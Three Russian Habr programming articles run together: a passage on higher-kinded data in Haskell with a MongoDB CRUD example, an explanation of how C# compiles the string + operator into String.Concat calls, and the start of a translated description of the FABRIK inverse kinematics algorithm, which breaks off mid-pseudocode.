Здесь сказано, что поле `login` нельзя изменять, а по полю `about` запрещено искать. Я так хочу, такая у меня бизнес-логика. Можно сказать иначе, более конкретно: это означает, что `User @Update` не ждёт ничего содержательного в поле `login` (только `()`), так же ведёт себя и поле `about` в `User @Filter` (до сих пор мы не вводили действия `Filter`, но он появится уже в следующем сниппете). Это поможет нам не совершить ошибку в процессе написания кода, ведь не получится запихнуть `()` на место строки. Давайте посмотрим, как этого добиться.
```
data Create
data Update
data Filter
-- | Аналог функции `elem` на уровне типов
type family Contains a as where
Contains a (a ': as) = 'True
-- | Для поднятия конструкторов типа Bool на уровень
-- типов понадобится DataKinds
Contains b (a ': as) = Contains b as
Contains a '[] = 'False
-- | Аналог ifThenElse на уровне типов
type family If c t f where
If 'True t f = t
If 'False t f = f
data Immutable
data NotForSearch
type family Field action (modifiers :: [*]) a :: *
type instance Field Create constraints a = a
type instance Field Update constraints a =
--_если_ (список модификаторов содержит Immutable) _тогда_ () _иначе_ (Maybe a)
If (Contains Immutable constraints) () (Maybe a)
type instance Field Filter constraints a =
If (Contains NotForSearch constraints) () [a]
data User a = User
{ login :: Field a '[Immutable] String
, email :: Field a '[] String
, about :: Field a '[NotForSearch] String }
-- >>> :t User @Create
-- User @Create :: String -> String -> String -> User Create
-- >>> :t User @Update
-- User @Update :: () -> (Maybe String) -> (Maybe String) -> User Update
-- >>> :t User @Filter
-- User @Filter :: [String] -> [String] -> () -> User Filter
```
Вот, что я подразумевал, говоря о характере:
До внесённых выше изменений все наши сущности (пусть, например, `Comment` или `Article`) вели бы себя одинаково:
> `Create`? — Потребовать все поля!
>
> `Update`? — Потребовать хоть что-нибудь :(
>
> `Filter`? — Потребовать набор значений для поиска.
>
>
>
> Но теперь поля получили модификаторы, которые "активируются" в зависимости от выбранного *действия*. Свойства, делающие из пачки рекордов данные, которые специфичны для заданной доменной области.
Что ещё можно изобразить, двигаясь в эту сторону?
Усложняем: DataKinds
--------------------
Для того, чтобы сохранить данные, вероятно нам понадобятся имена их полей. А чего точно не хочется делать, так это использовать голые строки. Давайте зашьём имена там же, в описании модели.
```
-- / Symbol -- поднятые на уровень типов литералы строк.
data Named (a :: Symbol)
data Schema
type family Field (named :: Symbol) action (modifiers :: [*]) a :: *
type instance Field name Schema constraints a = Named name
data User a = User
{ login :: Field "login" a '[Immutable] String
, email :: Field "email" a '[] String
, about :: Field "about" a '[NotForSearch] String }
nameOf :: forall e n a. KnownSymbol n => (e Schema -> Named n) -> Text
nameOf _ = pack $ symbolVal (Proxy @n)
-- >>> nameOf login
-- "login"
-- >>> nameOf about
-- "about"
-- >>> nameOf email
-- "email"
```
Для того чтобы достать название поля, просто передадим в функцию `nameOf` рекорд структуры. Таким образом:
1. невозможно ошибиться в названии, очередной раз вбивая голый литерал
2. невозможно обратиться к полю, которого нет
*Вероятно возможно даже как-то протащить тип самого поля в тип `Named`, чтобы случайно не перепутать рекорды. Но я не нашёл удобного способа это сделать и использовать. Для любителей поковырять Haskell это может стать интересной задачкой.*
Усложняем: ещё больше TypeFamilies. Опциональные поля
-----------------------------------------------------
В формате описания данных уже довольно много всего, но их всё ещё недостаточно. Может быть у кого-то из вас даже возникли вопросы к способу фильтрации. Неужели списка может хватить для полноценной фильтрации? Или что делать с опциональными полями? Просто оборачивать в `Maybe`? Может быть. Но мы сделаем иначе.
*Я отдаю себе отчёт, что некоторые из вас могут счесть это костылём (хотя опциональность поля выглядит довольно базовым понятием, достойным его упоминании в описании сущности). В конце концов, я предупреждал. что они точно будут*.
Давайте по порядку.
Опциональность.
```
data Required = Required | Optional
type family ApplyRequired (req :: Required) m a where
ApplyRequired 'Required m a = a
-- | Позволим использовать разные эффекты для изображения опциональности.
-- Вскорости станет ясно, зачем это было сделано.
ApplyRequired 'Optional m a = m a
-- / Так теперь выглядит Field
type family Field (name :: Symbol) (req :: Required) action (modifiers :: [*]) a :: *
type instance Field name req Create modifiers a =
ApplyRequired req Maybe a
type instance Field name req Update modifiers a =
-- / Неважно, опционально поле или нет -- изменять мы его не можем
If (Contains Immutable modifiers) ()
(Maybe (ApplyRequired req Maybe a))
data User a = User
{ login :: Field 'Required "login" a '[Immutable] String
, email :: Field 'Optional "email" a '[] String
, about :: Field 'Optional "about" a '[NotForSearch] String }
-- >>> :t User @Create
-- User @Create :: [Char] -> Maybe String -> Maybe String -> User Create
-- / Можем не заполнять оциональные поля
-- >>> :t User @Update
-- User @Update :: () -> Maybe (Maybe String) -> Maybe (Maybe String) -> User Update
-- / Можем обновить оциональное поле, можем его стереть
-- | У вас могут возникнуть вопросы с Maybe (Maybe a).
-- | Внешний и внутренний Maybe имеют разный смысл:
-- / * внеший -- обновляется ли значение в принципе
-- / * внутренний -- затираем или устанавливаем значение
-- >>> :t User @Filter
-- User @Filter :: [String] -> Maybe [String] -> () -> User Filter
-- / Можем фильтровать по набору значений или по отсутсвию значения
-- >>> :t User @Schema
-- User @Schema :: Named "login" -> Named "email" -> Named "about" -> User Schema
-- / Схема не изменилась
```
Фильтрация:
```
data Filter -- / Новое действие
data CustomFilter a -- / `a` -- непосредственно фильтр
data ItSelf -- / Значение может выступать фильтром самого себя.
-- / Существование/отсутсвие поля
data Exists a = Exists a | DoesNotExist
-- / Нефильтруемое поле
newtype NotFiltered a = NotFiltered ()
type family ApplyFilter req qs a where
ApplyFilter req (CustomFilter q ': qs) a = Maybe (ApplyRequired req Exists (q a))
ApplyFilter req (nq ': qs) a = ApplyFilter req qs a
ApplyFilter req '[] a = Maybe (ApplyRequired req Exists [a])
-- / Примеры использования этого действия будет предоставлено в следующем разделе
type instance Field name req Filter modifiers a =
If (Contains (CustomFilter ItSelf) modifiers)
(Maybe (ApplyRequired req Exists a))
(ApplyFilter req modifiers a)
```
Теперь должна быть ясна мотивация перегрузки эффекта в `ApplyRequired`, а так же почему я не стал использовать `Maybe` на самом типе поля:
Если поле является опциональным, то мы должны уметь фильтровать не только по набору значений как таковых, но и на факт отсутвия/существования их вообще. Однако если поле помечено как `NotFiltered`, но является `Optional`, мы всё ещё способны его фильтровать, но только на наличие его в записи. Можно ли это изменить? — Да. Но я не считаю, что это проблема. Оставляю решение о том, является ли это в действительности приседанием, на вас.
А в реальности?
---------------
Теперь давайте соберём в кучу все наши наработки и спроектируем нашу доменку. Так как теперь кода становится реально много, я буду давать ссылки на конкретные файлы в репозитории.
Первое, что нужно сделать, это разнести отдельные типы по файлам, так будет удобнее. Результат можно посмотреть [здесь](https://github.com/goosedb/HKD-Example/tree/master/src/Base).
А теперь объявим сущности нашей доменной области. В качестве примера и доказательства, что это действительно можно использовать, я реализовал простейший `CRUD` с тремя сущностями:
[`User`](https://github.com/goosedb/HKD-Example/blob/master/src/Entities/User.hs):
```
data User a = User
{ registered :: Field "registered" 'Required a '[Immutable, CustomFilter Range, NotAllowedFromFront] UTCTime
, modified :: Field "modified" 'Optional a '[CustomFilter Range, NotAllowedFromFront] UTCTime
, login :: Field "login" 'Required a '[] Text
, email :: Field "email" 'Optional a '[] Text
, about :: Field "about" 'Optional a '[CustomFilter NotFiltered] Text }
```
Здесь появляются несколько новых штук: `Range` и `NotAllowedFromFront`.
Новые фильтры определены [здесь](https://github.com/goosedb/HKD-Example/blob/master/src/Filters.hs) и в них нет ничего особенного. Но они хорошо работают с тем, что описано в базовом модуле.
```
newtype Regex a = Regex Text
data Range a = Range { from :: Maybe a, to :: Maybe a }
```
А ещё я добавил новый `action`, который называется `Front`. Он определён [здесь](https://github.com/goosedb/HKD-Example/blob/master/src/Front.hs) и нужен для того, чтобы задать некоторым полям особенное поведение для работы с фронтом. Совершенно естестественно, что мы не должны позволять обновлять системные поля снаружи. Поэтому просто запретим это делать.
```
instance J.FromJSON NotAllowedFromFront where
parseJSON _ = fail "Can't specify this field"
type instance Field name req (Front b) modifiers a =
If (Contains NotAllowedFromFront modifiers)
(Maybe NotAllowedFromFront)
(Field name req b modifiers a)
-- >>> :t User @(Front Create)
-- User @(Front Create)
-- :: Maybe NotAllowedFromFront
-- -> Maybe NotAllowedFromFront
-- -> Text
-- -> Maybe Text
-- -> Maybe Text
-- -> User (Front Create)
```
`Maybe` здесь нужен исключительно для того, чтобы генеренные кодеки для JSON не падали, не найдя этого поля в документе. Если бы я, например, был готов писать эти кодеки руками, но этого можно было бы избежать (*у вас ещё не сбился счётчик приседаний? :)* ).
Далее: [`Article`](https://github.com/goosedb/HKD-Example/blob/master/src/Entities/Article.hs):
```
data Article a = Article
{ userID :: Field "userID" 'Required a '[Immutable] (ID User)
, tags :: Field "tags" 'Required a '[CustomFilter ItSelf] (NonEmpty Text)
, title :: Field "title" 'Required a '[CustomFilter Regex] Text
, content :: Field "content" 'Required a '[CustomFilter NotFiltered] Text
, created :: Field "created" 'Required a '[CustomFilter Range, NotAllowedFromFront] UTCTime
, modified :: Field "modified" 'Optional a '[CustomFilter Range, NotAllowedFromFront] UTCTime }
```
Здесь нет ничего нового, помимо `ID`, в котором нет ничего хитрого (относительно того, что есть уже). Вы можете в этом [убедиться](https://github.com/goosedb/HKD-Example/blob/master/src/Database/Types.hs).
Тип [`Comment`](https://github.com/goosedb/HKD-Example/blob/master/src/Entities/Comment.hs) тоже довольно скучный, но предоставлен здесь для полноты:
```
data Comment a = Comment
{ userID :: Field "userID" 'Required a '[Immutable] (ID User)
, articleID :: Field "articleID" 'Required a '[Immutable] (ID Article)
, content :: Field "content" 'Required a '[CustomFilter NotFiltered] Text
, created :: Field "created" 'Required a '[Immutable, CustomFilter Range, NotAllowedFromFront] UTCTime
, modified :: Field "modified" 'Optional a '[CustomFilter Range, NotAllowedFromFront] UTCTime }
```
В том случае, если читатель действительно заглянул в файлы, он мог заметить, что для каждой сущности определён набор инстансов. Давайте обговорим каждый из них.
* EmptyData для Update и Filter.
```
deriving instance (EmptyData (Comment Update))
deriving instance (EmptyData (Comment Filter))
```
Этот класс определён [здесь](https://github.com/goosedb/HKD-Example/blob/master/src/Base/EmptyData.hs) и реализован по умолчанию для всех типов определённой формы с помощью `Generic`ов.
Имея этот класс мы можем определить функции с забавной сигнатурой:
```
update :: EmptyData (e Update) => (e Update -> e Update) -> e Update
update = ($ emptyData)
query :: EmptyData (e Filter) => (e Filter -> e Filter) -> e Filter
query = ($ emptyData)
```
В том случае, если вам неясно их назначение, я думаю, что следующие примеры смогут внести ясность.
```
-- Добавляем описание
update @User (#about ?~ Just "this is information about me")
-- > User {registered = Nothing, modified = Nothing, login = Nothing, email = Nothing, about = Just (Just "this is information about me")}l
-- Стираем описание
update @User (#about ?~ Nothing)
-- > User {registered = Nothing, modified = Nothing, login = Nothing, email = Nothing, about = Just Nothing}
-- Ищем по нику
query @User (#login ?~ ["coolGuy"])
-- > User {registered = Nothing, modified = Nothing, login = Just ["coolGuy"], email = Nothing, about = Nothing}
-- Ищем из списка людей с данными никами тех, у кого нет почты
query @User (
(#email ?~ DoesNotExist)
. (#login ?~ ["yourMaster", "kekeHehe"])
)
-- > User {registered = Nothing, modified = Nothing, login = Just ["yourMaster","kekeHehe"], email = Just DoesNotExist, about = Nothing}
```
Просто приятный DSL для написания фильтров и патчей с использованием `generic-lens` (хоть в силу простоты нашего `CRUD` они не будут использованы, я посчитал нужным рассказать об этих функциях).
* Кстати о `generic-lens`. Так как HKD имеют слишком хитрую форму, нельзя просто взять и обновить его поле `generic-lens`'ой. Это известная проблема, и решение для обхода для этой неприятности уже существует. Можете почитать об этом [в этом issue](https://github.com/kcsongor/generic-lens/issues/96). Именно в связи с этим для каждой сущности объявлен странный инстанс класса `HasField`.
* `From/ToJSON`. Просто генерация кодеков для энкодинга и декодинга JSON. Ничего интересного.
* `ToDBFilter`, `ToDBFormat`, `FromDBFormat`, `DBEntity`. Специфичные для конкретной базы данных инстансы, которые нужны для перегонки `Filter`, `Create`, `Update` сущностей в документы `MongoDB` и, наоборот, парсинга `Create`-сущности (сущности с наиболее полным набором полей) из документов `MongoDB`. И ещё один интанс, чтобы привязать к каждому типу сущностей название коллекции в `MongoDB`. Тут, как раз нам пригодилась `Schema`. Возьмём для примера реализацию `ToDBFormat` для (Article Create):
```
instance ToDBFormat (Article Create) where
toDBFormat article =
[ userID =:: idVal (userID article)
, tags =:: toList (tags article)
, title =:: title article
, content =:: content article
, created =:: created article
, modified =:: modified article
]
(=::) :: KnownSymbol s => Mongo.Val b => (a Schema -> Named s) -> b -> Mongo.Field
(=::) field val = nameOf field Mongo.=: val
```
А теперь самое главное: сам `CRUD` :). Он полностью реализован [здесь](https://github.com/goosedb/HKD-Example/blob/master/src/App.hs): Давайте посмотрим в деталях.
Входная точка, ничего особенного, но для полноты я покажу это здесь:
```
app :: IO ()
app = do
pipe <- Mongo.connect (Mongo.host "127.0.0.1")
let ?pipe = pipe
let ?database = "database"
scotty 8000 do
userHandlers
articleHandlers
commentHandlers
```
Далее. 3 набора хэндлеров для каждой сущности:
```
userHandlers :: WithMongo => ScottyM ()
userHandlers = do
post "/user" createUser
get "/user" (getById @User)
put "/user" updateUserByID
get "/user/search" (getByFilter @User)
```
```
articleHandlers :: WithMongo => ScottyM ()
articleHandlers = do
post "/article" createArticle
get "/article" (getById @Article)
put "/article" updateUserByID
get "/article/search" (getByFilter @Article)
```
```
commentHandlers :: WithMongo => ScottyM ()
commentHandlers = do
post "/comment" createComment
get "/comment" (getById @Comment)
put "/comment" updateCommentByID
get "/comment/search" (getByFilter @Comment)
```
Я хочу обратить ваше внимание, что функция `getByID` полиморфна и в качестве главного аргумента принимает *тип* сущности, которая нам нужна.
Вот её определение.
```
getById :: forall e. (WithMongo, DBEntity e, J.ToJSON (e Create)) => Handler
getById = do
eID <- jsonData
e <- liftIO do dbLoadByID @e eID
json e
```
Функция `loadByFilter` определена похожим образом, можете посмотреть сами.
К сожалению, функции создания и обновления так красиво и просто определить не удастся, потому что они имеют специфичную логику. Но мы всё ещё можем пользоваться в написании тем, что наши сущности определены как `HKD`.
```
createUser :: Handler
createUser = do
User {..} <- jsonData @(User (Front Create)) -- (1)
alreadyExists <- liftIO $ dbSearch $ queryEntity @User (#entity . #login ?~ [login]) -- (2)
case alreadyExists of
[] -> do
userID <- liftIO do
now <- getCurrentTime
dbCreate $ User { registered = now, modified = Nothing, .. } -- (3)
json userID
_ -> text "User with such ID already exists"
```
На всякий случай, я поясню, что здесь происходит.
1. Пытаемся распарсить из `JSON`-структуры, формы `Front Create`. Это значит, что некоторые поля мы запрещаем определять снаружи.
2. Если всё прошло удачно, то пытаемся найти пользователя с ником, который имеет новый пользователь. Если такой пользователь уже есть. сообщаем об этом,
3. Если пользователя с таким ником ещё не существует. регистрируем его. Тут используется расширение `RecordWildCards`. `{..}` При матчинге вводит все рекорды структуры в скоуп, как значения. А при создании структуры `{..}` выискивает все имена с названиями рекордов и вставялет их в себя (подробнее о [`RecordWildCards`](https://ghc.gitlab.haskell.org/ghc/doc/users_guide/exts/record_wildcards.html)). Однако компилятор нам явно скажет, что заполнить таким способом поля `registered` и `modified` явно не выйдет. Поэтому их придётся указать руками (что довольно естественно в данном случае).
Подобным способом написаны все остальные функции (я настаиваю на том, чтобы вы обратились к исходникам и почитали их сами).
Что в итоге?
------------
Внимательные хаскелисты узнают в этом подходе подход [`Beam`](https://haskell-beam.github.io/beam/) к работе со структурами. И, хоть и пример, который использует данная заметка имеет явный уклон в написание `CRUD`ов, я хочу обратить внимание на отличие, о котором я уже упоминал вскользь: `Beam` (хотя и делает много других интересных штук, таких как `DSL` для `SQL` запросов) лишь предоставляет `HKD` для работы с БД. В нашем же случае структуры получили *характер*. Они получились связанными с доменной областью. Некоторые поля нельзя изменять, некоторые — нельзя задавать с фронта, потому что они считаются самой системой. `Beam` же не наделяет ваши поля особыми смыслами, он лишь делает из данных, которые вы создаёте, таблички в БД.
И `CRUD`ы — это, конечно, не единственное, на что способны `HKD`. В интернете я нашёл ещё несколько примеров использования `HKD`:
* Валидация ([перевод на habr](https://habr.com/ru/post/429104/), [оригинал](https://reasonablypolymorphic.com/blog/higher-kinded-data/))):
С помощью `Generic` и `HKD` (роль `Generic` в этом случае ни чуть не меньше, чем `HKD`) можно из невалидированных данных получить валидированные. Я приведу небольшой пример того, как это работает снаружи, а для выяснения деталей реализации прошу обратиться к источнику.
```
type family HKD f a where
HKD Identity a = a
HKD f a = f a
data User f = User { login :: HKD f String, age :: HKD f Int }
user login age = User @Maybe
{ login = if length login > 6 && length login < 20 then Just login else Nothing
, age = if age > 0 then Just age else Nothing }
>>> gvalidate $ user "foo" 7 -- одно из полей невалидно
> Nothing -- вся структура обращается в Nothing
>>> gvalidate $ user "foobar1" 15 -- оба поля валидны
> Just (User { login = "foobar1" , age = 15 }) -- вся структура валидна
```
TL;DR: Структура перегоняется в универсальное `Generic`-представление, "траверсится" по `Maybe` и собирается обратно.
* Простой пример с данными о погоде. Аггрегация:
В [оригинале](https://github.com/Michaelt293/higher-kinded-data) примеры приведены на `Scala`. Ниже — эквивалент на `Haskell`.
```
data WheaterData f = WheaterData
{ temperature :: HKD f Double -- HKD из примера выше
, windSpeed :: HKD f Double
, dewPoint :: HKD f Double }
instance (Semigroup (HKD f Double)) => Semigroup (WheaterData f) where
(<>) wd1 wd2 = WheaterData (comb temperature) (comb windSpeed) (comb dewPoint)
where comb f = ((<>) `on` f) wd1 wd2
stats :: Num (HKD f Double) => NonEmpty (WheaterData f)
stats = WheaterData 0 6 15 :| [WheaterData (-8) 2 19, WheaterData (-40) 30 10]
>>> sconcat $ stats @Max
> WheaterData {temperature = Max {getMax = 0.0}, windSpeed = Max {getMax = 30.0}, dewPoint = Max {getMax = 19.0}}
>>> sconcat $ stats @Min
> WheaterData {temperature = Min {getMin = -40.0}, windSpeed = Min {getMin = 2.0}, dewPoint = Min {getMin = 10.0}}
```
* `HKD` также используются в довольно обыденных для функциональных программистов вещах.
Можно вспомнить, что эмуляция `type class`ов в `Scala` это тоже пример `HKD`. Вот пример из библиотеки `cats`:
```
trait Functor[F[_]] {
def map[A, B](fa: F[A])(f: A => B): F[B]
}
```
На `Haskell` это можно изобразить так:
```
data Functor f = Functor { map :: forall a b. f a -> (a -> b) -> f b }
```
Не отходя от кассы, можно заметить, что по тому же принципу работает `Service/Handle Pattern`. Если вы с ним ещё не знакомы, ознакомиться можете [здесь](https://www.schoolofhaskell.com/user/meiersi/the-service-pattern).
А что на Scala?
---------------
Некоторые вещи, которые я показал выше, без труда реализуются на `Scala 3`. Давайте разберём небольшой кусочек (этот пример вы можете вставить в [`Scastie`](https://scastie.scala-lang.org/) и поиграться).
```
class Create
class Update
class Filter
class Schema
class Required
class Optional
// Literal types, кажется, доступны уже в Scala 2.13. Аналог DataKinds.
case class Named[T]()(implicit v: ValueOf[T]) {
val name = v.value
}
// А вот match type доступен только в Scala 3. Аналог закрытых TypeFamilies.
type ApplyRequired[R, T] = R match
case Required => T
case Optional => Option[T]
type Field[R, N, A, T] = A match
case Create => ApplyRequired[R, T]
case Update => Option[ApplyRequired[R, T]]
case Schema => Named[N]
case class User[A]
( login : Field[Required, "login", A, String]
, email : Field[Optional, "email", A, String]
)
val userCreate = User[Create]("lologin", None)
val userUpdate = User[Update](None, Some(Some("mamail")))
val userSchema = User[Schema](Named(), Named())
userCreate.login // "lologin"
userUpdate.login // None
userUpdate.email // Some(Some("mamail"))
userSchema.login.name // "login"
userSchema.email.name // "email"
```
Стоит заметить, что в Scala нет открытых `match type`. Поэтому в таком виде добавлять "пользовательские" эффекты не получится. Выход, конечно есть, но вы потеряете часть "красоты". Можно избавиться от `Field` и дать всем эффектам принимать все 3 аргумента: опциональность, название, тип поля (да, список модификаторов в сниппете со `Scala` не предоставлен, я плохо знаю `Scala`, поэтому мучать себя и компилятор дальнейшими экспериментами не стал). Тогда можно писать сколько угодно эффектов, пусть и ценой лаконичности.
Ну и в конце ещё раз: [ссылка на репозиторий](https://github.com/goosedb/HKD-Example). | https://habr.com/ru/post/578070/ | null | ru | null |
# Так ли прост строковый оператор +
#### Введение
Строковый тип данных является одним из фундаментальных типов, наряду с числовыми (int, long, double) и логическим (bool). Тяжело себе представить хоть, сколько либо полезную программу, не использующую данный тип.
На платформе .NET строковый тип представлен в виде неизменяемого класса String. Кроме того, он является сильно интегрированным в общеязыковую среду CLR, а так же имеет поддержку со стороны компилятора языка C#.
В этой статье я бы хотел поговорить о конкатенации, операции, которая выполняется над строками так же часто, как операция сложения над числами. Казалось бы, о чем тут можно говорить, ведь все мы знаем о строковом операторе +, но как оказалось, есть у него свои тонкости.
#### Спецификация языка о строковом операторе +
Спецификация языка C# предоставляет три перегрузки оператора + для строк:
```
string operator + (string x, string y)
string operator + (string x, object y)
string operator + (object x, string y)
```
Если один из операндов объединения строк есть null, то подставляется пустая строка. Иначе любой аргумент, не являющийся строкой, приводится к представлению в виде строки с помощью вызова виртуального метода *ToString*. Если метод *ToString* возвращает null, подставляется пустая строка. Следует сказать, что согласно спецификации данная операция **никогда** не должна возвращать значение null.
Описание оператора выглядит достаточно понятно, однако если мы взглянем на реализацию класса String то найдем явное определение лишь двух операторов == и !=. Возникает резонный вопрос, что происходит за кулисами конкатенации строк? Каким образом компилятор обрабатывает строковый оператор +?
Ответ на этот вопрос оказался не таким уж сложным. Необходимо присмотреться повнимательнее к статическому методу String.Concat. Метод String.Concat — объединяет один или несколько экземпляров класса String или представления в виде String значений одного или нескольких экземпляров Object. Имеются следующие перегрузки данного метода:
```
public static String Concat(String str0, String str1)
public static String Concat(String str0, String str1, String str2)
public static String Concat(String str0, String str1, String str2, String str3)
public static String Concat(params String[] values)
public static String Concat(IEnumerable values)
public static String Concat(Object arg0)
public static String Concat(Object arg0, Object arg1)
public static String Concat(Object arg0, Object arg1, Object arg2)
public static String Concat(Object arg0, Object arg1, Object arg2, Object arg3, \_\_arglist)
public static String Concat(IEnumerable values)
```
#### Подробнее
Пусть у нас есть следующее выражение s = a + b, где a и b — строки. Компилятор преобразует его в вызов статического метода Concat, то есть в
```
s = string.Concat(a, b)
```
***Операция конкатенации строк, как и любая другая операция сложения в языке C# является лево-ассоциативной.***
С двумя строками все понятно, но что если строк больше? Выражение s = a + b + c учитывая лево-ассоциативность операции могло бы быть заменено на
```
s = string.Concat(string.Concat(a, b), c)
```
однако, учитывая наличие перегрузки, принимающей три аргумента оно будет преобразовано в
```
s = string.Concat(a, b, c)
```
Аналогично дела обстоят с конкатенацией четырех строк. Для конкатенации 5 и более строк имеем перегрузку string.Concat(params string[]), так что необходимо учитывать накладные расходы, связанные с выделением памяти под массив.
Следует так же сказать, что ***операция конкатенации строк является полностью ассоциативной***: не имеет никакого значения, в каком порядке мы конкатенируем строки, поэтому выражение s = a + (b + c) не смотря на явное указание приоритета выполнения конкатенации, обрабатывается как
```
s = (a + b) + c = string.Concat(a, b, c)
```
вместо ожидаемого
```
s = string.Concat(a, string.Concat(b, c))
```
**Таким образом, подытоживая сказанное выше: операция конкатенации строк всегда представляется слева направо, и использует вызов статического метода String.Concat.**
#### Оптимизации компилятора для литеральных строк
Компилятор языка C# имеет оптимизации связанные с литеральными строками. Так, например, выражение s = "a" + "b" + c, учитывая лево-ассоциативность оператора + эквивалентно s = ("a" + "b") + c преобразуется в
```
s = string.Concat("ab", c)
```
Выражение s = c + "a" + "b" несмотря на лево-ассоциативность операции конкатенации (s = (c + "a") + "b") преобразуется в
```
s = string.Concat(c, "ab")
```
В общем, неважно в каком месте находятся литералы, компилятор конкатенирует всё что может, а уже потом пытается выбрать соответствующую перегрузку метода Concat. Выражение s = a + "b" + "c" + d преобразуется в
```
s = string.Concat(a, "bc", d)
```
Следует так же сказать об оптимизациях связанных с пустой и null строкой. Компилятор знает, что добавление пустой строки не влияет на результат конкатенации, поэтому выражение s = a + "" + b преобразуется в
```
s = string.Concat(a, b),
```
вместо ожидаемого
```
s = string.Concat (a, "", b)
```
Аналогично для const строки, значение которой есть null, имеем:
```
const string nullStr = null;
s = a + nullStr + b;
```
преобразуется в
```
s = string.Concat(a, b)
```
Выражение s = a + nullStr преобразуется в s = a ?? "", если a — строка, и вызов метода string.Concat(a), если a – не строка, например, s = 17 + nullStr, преобразуется в s = string.Concat(17).
Интересная особенность, связанная с оптимизацией обработки литералов и лево-ассоциативностью строкового оператора +.
Рассмотрим выражение:
```
var s1 = 17 + 17 + "abc";
```
учитывая лево-ассоциативность, оно эквивалентно
```
var s1 = (17 + 17) + "abc"; // вызов метода string.Concat(34, "abc")
```
в результате чего на этапе компиляции произойдет сложение чисел, так что результатом будет 34abc.
С другой стороны выражение
```
var s2 = "abc" + 17 + 17;
```
эквивалентно
```
var s2 = ("abc" + 17) + 17; // вызов метода string.Concat("abc", 17, 17)
```
в результате чего получим abc1717.
Вот так вот, казалось бы, одинаковая операция конкатенации приводит к разным результатам.
#### String.Concat VS StringBuilder.Append
Следует сказать пару слов и об этом сравнении. Рассмотрим следующий код:
```
string name = "Timur";
string surname = "Guev";
string patronymic = "Ahsarbecovich";
string fio = surname + name + patronymic;
```
Его можно заменить на код, используя StringBuilder:
```
var sb = new StringBuilder();
sb.Append(surname);
sb.Append(name);
sb.Append(patronymic);
string fio = sb.ToString();
```
Но едва ли мы получим в данной ситуации преимущества от использования StringBuilder. Помимо того, что код стал менее читабельным, он стал еще и менее эффективным, поскольку реализация метода Concat вычисляет длину результирующей строки и выделяет память только один раз, в отличие от StringBuilder-a который ничего не знает о длине результирующей строки.
Реализация метода Concat для 3 строк:
```
public static string Concat(string str0, string str1, string str2)
{
if (str0 == null && str1 == null && str2 == null)
return string.Empty;
if (str0 == null)
str0 = string.Empty;
if (str1 == null)
str1 = string.Empty;
if (str2 == null)
str2 = string.Empty;
string dest = string.FastAllocateString(str0.Length + str1.Length + str2.Length); // выделяем память для строки
string.FillStringChecked(dest, 0, str0); /
string.FillStringChecked(dest, str0.Length, str1);
string.FillStringChecked(dest, str0.Length + str1.Length, str2);
return dest;
}
```
#### Оператор + в Java
Пару слов о строковом операторе + в Java. Хотя я и не программирую на Java, интересно все же знать, как дела обстоят там. Компилятор языка Java оптимизирует оператор +, так что он использует класс StringBuilder и вызов метода append.
Предыдущий код преобразуется в
```
String fio = new StringBuilder(String.valueOf(surname)).append(name).append(patronymic).ToString()
```
Стоит так же сказать, что от такой оптимизации в C# отказались намеренно, у Эрика Липперта есть [пост](http://ericlippert.com/2013/06/24/string-concatenation-behind-the-scenes-part-two/) на эту тему. Дело в том, что такая оптимизация не является оптимизацией как таковой, она является переписыванием кода. Плюс к этому создатели языка C# считают, что разработчики должны знать особенности работы с классом String и в случае необходимости перейдут на использование StringBuilder.
Кстати именно Эрик Липперт занимался [оптимизациями](http://ericlippert.com/2013/06/17/string-concatenation-behind-the-scenes-part-one/) компилятора C#, связанными с конкатенацией строк.
#### Заключение
Возможно, на первый взгляд может показаться странным, что класс String не определяет оператор +, пока мы не подумаем о возможностях оптимизации компилятора, связанных с видимостью большего фрагмента кода. Например, если бы оператор + был определен в классе String, то выражение s = a + b + c + d приводило бы к созданию двух промежуточных строк, единственный вызов метода string.Concat(a, b, c, d) позволяет выполнить объединение более эффективно. | https://habr.com/ru/post/220921/ | null | ru | null |
# Инверсная кинематика: простой и быстрый алгоритм
Что такое «Инверсная кинематика»?
Задачей инверсной кинематики является поиск такого набора конфигураций сочленений, который обеспечил бы максимально мягкое, быстрое и точное движение к заданным точкам. Однако, множество существующих ныне методов страдают от таких недостатков как высокая вычислительная сложность и неестественность результирующих поз. В этой статье описан новый (*вероятно, на момент написания статьи — 2010 г.*) эвристический метод под названием «Метод прямого и обратного следования» ( *Forward and Backward Reaching Inverse Kinematics*, далее просто FABRIK),
FABRIK избегает использования вращений и матриц в пользу непосредственного получения точки на прямой. Благораря этому, дело обходится всего несколькими итерациями, имеет низкую стоимость вычислений и визуально естественную позу в результате. FABRIK так-же без проблем справляется с наложением ограничений а так-же использованием нескольких цепей и/или конечных точек. Именно об этом методе этот пост.
*Прошу отнестись с пониманием к этой выжимке, потому-что оригинал довольно большой, имеет много воды, уместных и неуместных повторений и отстранений от темы, а так-же сравнений с другими алгоритмами. Этим я решил все-таки пренебречь, поэтому, тут содержится лишь малая часть текста, которая, однако, отражает суть — прим. перев.*
### 1. Искусственная модель тела
Система из множества твёрдых тел состоит из набора твёрдых тел, называемых узлами, соединёнными вместе рёбрами. Все рёбра являются компонентами, связанными с движением: они ограничивают перемещения в пределах некоторого угла относительно соседних рёбер. Моделирование виртуального тела важно для вычисления позы человека. Модель с правильно расставленными ограничениями позволит получить набор правильных поз, что даст возможность получить более реалистичное движение. Большинство моделей подразумевают твёрдость частей тела, хотя это просто примерное приближение к реальности.
Скелет обычно смоделирован в виде иерархии твёрдых сегментов соединённых рёбрами, каждое из которых задано такими свойствами как длинна, форма, обьём и масса. Манипулятор, на манер робо-руки или анимированного персонажа, смоделиован как цепь, собранная из твёрдых узлов, сопряженных друг с другом рёбрами. Каждое перемещение и/или вращение кости с индексом i влияет на все последующие элементы цепи. Цепь можно формализовать следующим образом: всякий узел без дочерних элементов следует величать конечной точкой; для каждой конечной точки цепь может быть сформирована движением обратно по скелету, от родителя к родителю до тех пор, пока не будет встречен корневой узел цепи (начало цепи). По определению, в задаче IK предполагается статичность корневого узла. Однако, методы обычно справляются с перемещением корня.
**Алгоритм полного цикла алгоритма FABRIK (псевдокод, первый элемент массива под индексом 1)**
```
Исходные данные: массив позиций узлов p[i] с i = 1...n, целевая позиция t и значения дистанций между сопряжёнными узлами.
d[i] = | p[i+1] - p[i] | for i = 1, ... , n-1
Выходные данные: Новые позиции p[i],
i = 1...n
//Дистанция между корнем и целью
dist = | p[1] - t |
//Проверяем достижимость цели
if dist > d[1] + d[2] + ... + d[n-1]
{
//цель недостижима
for i = 1, ..., n-1 do
{
//Найдем дистанцию r[i] между целью t и узлом p[i]
r[i] = | t - p[i] |
